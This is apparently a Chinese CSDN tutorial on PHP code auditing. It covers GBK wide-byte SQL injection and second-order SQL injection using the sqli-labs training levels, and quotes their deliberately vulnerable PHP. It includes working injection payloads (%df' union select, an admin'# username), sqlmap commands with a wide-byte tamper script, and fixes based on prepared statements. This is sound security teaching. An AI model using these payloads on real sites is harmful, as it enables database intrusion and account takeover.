php代码审计-宽字节注入与二次注入

宽字节注入

前景

魔术引号

在一些低版本(php5.4以下)的php中会将魔术引号(magic_quotes_gpc()=on)打开。该函数会将一些特殊符号('、”、反斜杠、null字符(\0))进行转义,而在高版本的php中,因为魔术引号被弃用进而使用mysql_real_escape_string()、addlashes()来对特殊字符进行转义,从而来预防sql注入。

:魔术引号可以在低版本php.ini文件中找到

编码格式

宽字节是相对与ascii这样单字节而言的;像GB2312、GBK、GB18030等这些都是宽字节,占用两个字节。GBK 是一种多字符的编码,通常来说,一个gbk编码汉字,占用2个字节。一个 utf-8 编码的汉字,占用3个字节。


注入原理

宽字节注入是指mysql数据库在使用宽字节(如:GBK)编码时,会认为两个字符串是一个汉字(前一个ascii码要大于128(如%df),才能得到汉字的范围),当输入单引号之后,会将其进行转义(在其前面加上反斜杠,之后变为\'),反斜杠经过url编码变为%5c,mysql的GBK编码,会认为%df%5c是一个宽字节,从而变成一个汉字,导致单引号逃逸形成闭合,实现攻击


image-20240712090607307

靶场演示

注入条件

  • 数据库编码必须是gbk
  • 写入到前一个字符串ascii码要大于128

代码分析

sql_labs第36关

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");

function check_quotes($string)
{
    $string= mysql_real_escape_string($string);    
    return $string;
}

// take the variables 
if(isset($_GET['id']))
{
$id=check_quotes($_GET['id']);
//echo "The filtered request is :" .$id . "<br>";

//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 

mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo '<font color= "#00FF00">';	
  	echo 'Your Login name:'. $row['username'];
  	echo "<br>";
  	echo 'Your Password:' .$row['password'];
  	echo "</font>";
  	}
	else 
	{
	echo '<font color= "#FFFF00">';
	print_r(mysql_error());
	echo "</font>";  
	}
}
	else { echo "Please input the ID as parameter with numeric value";}
        
        

?>
  • 使用了mysql_real_escape_string$id进行了特殊字符的转义
  • mysql_query("SET NAMES gbk");设置数据库为gbk编码
  • 以get形式传参
  • 以上成功造成了宽字节注入,可以使用报错注入、联合注入、时间盲注、布尔盲注

漏洞利用

联合查询

?id=1%df' order by 3 --+
?id=-1%df' union select 1,2,3 --+

%df%27会形成一个汉字,进而造成'逃逸出来形成闭合

image-20240712093721337

sqlmap

python sqlmap.py -u "http://127.0.0.1:81/sqli/Less-36/?id=1" --tamper=unmagicquotes --dbs --batch
or
python sqlmap.py -u "http://127.0.0.1:81/sqli/Less-36/?id=1%df' *" --dbs --batch

使用了unmagicquotes.py脚本,用于宽字节绕过

image-20240712094316678

防范措施

防御

  1. 解决SQL注入最推荐的方法还是预处理+数据绑定。

  2. 数据库编码格式不使用宽字节编码

二次注入

原理

由于网站在用户输入数据时通过mysql_escape_string()、addlashes()等对特殊字符进行\转义,但是存入到数据库时又去除了反斜杠,当从数据库中调出时由于没有进行特殊符号的转义造成了单引号闭合,从而形成了注入

靶场演示

代码分析

文件的用途

image-20240712151336176

login_create.php的部分代码

<?php

//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");



if (isset($_POST['submit']))
{
	

# Validating the user input........

	//$username=  $_POST['username'] ;
	$username=  @mysql_escape_string($_POST['username']) ;
	$pass= @mysql_escape_string($_POST['password']);
	$re_pass= @mysql_escape_string($_POST['re_password']);
	
	echo "<font size='3' color='#FFFF00'>";
	$sql = "select count(*) from users where username='$username'";
	$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
  	$row = mysql_fetch_row($res);
	
	//print_r($row);
	if (!$row[0]== 0) 
		{
		?>
		<script>alert("The username Already exists, Please choose a different username ")</script>;
		<?php
		header('refresh:1, url=new_user.php');
   		} 
		else 
		{
       		if ($pass==$re_pass)
			{
				# Building up the query........
   				
   				$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
				echo $sql;
   				mysql_query($sql) or die('Error Creating your user account,  : '.mysql_error());
   				......?>
  • 使用mysql_escape_string分别对username,password,re_password进行转义,之后执行查询语句,若数据库没有相同的username并且·password,re_password一致就会进行插入操作。当然转义出来的\不会插入到数据库中

login.php

   $username = mysql_real_escape_string($_POST["login_user"]);
   $password = mysql_real_escape_string($_POST["login_password"]);
   $sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
//$sql = "SELECT COUNT(*) FROM users WHERE username='$username' and password='$password'";
   $res = mysql_query($sql) or die('You tried to be real smart, Try harder!!!! :( ');
   $row = mysql_fetch_row($res);
	//print_r($row) ;
   if ($row[1]) {
			return $row[1];
   } else {
      		return 0;
   }
  • 会对输入账号密码进行特殊符号的转义,绕过比较困难

pass_change.php

	$username= $_SESSION["username"];
	$curr_pass= @mysql_real_escape_string($_POST['current_password']);
	$pass= @mysql_real_escape_string($_POST['password']);
	$re_pass= @mysql_real_escape_string($_POST['re_password']);
	
	if($pass==$re_pass)
	{	
		$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
		$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
		$row = mysql_affected_rows();
		echo '<font size="3" color="#FFFF00">';
		echo '<center>';
		if($row==1)
		{
			echo "Password successfully updated";
	
		}
		else
		{
			header('Location: failed.php');
			//echo 'You tried to be smart, Try harder!!!! :( ';
		}
	}
  • 发现username是通过$_SESSION来获取的并没有进行特殊符号的转义,而其他的current_password、password、re_password是会进行转义的
  • 对比$pass与$re_pass的之后,进行update更改操作

漏洞思路

明显的注入点是在更改密码的操作上,我们可以通过对username的控制来进行报错注入

  • 首先注册一个用户,例如用户名:admin'#这个用户,虽然会对输入的用户进行进行转义,但是/并不会写入到数据库中

image-20240712154521826

  • 使用该用户登录,修改该用户的密码,将该用户的密码修改为222222

image-20240712154612258

但是发现admin' #的密码并没有修改而是修改的admin的密码

image-20240712154820375

原因:这是因为admin' #'对sql语句形成了闭合#注释掉了后面的内容,形成的sql语句如下,进而修改了用户:admin的密码

UPDATE users SET PASSWORD='$pass' where username='admin' # and password='$curr_pass' 

漏洞利用:本来是准备使用报错注入的,结果发现这个数据库对用户名的长度是由限制的,我们无法创建一个满足报错注入的那么长的用户名,所以只能进行到这里了

修复措施

  1. 进行预处理来进行参数绑定从而更好的预防二次注入

  2. 另一个防御的点就是在输入输出前的sql语句执行前都对其进行过滤、转义

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值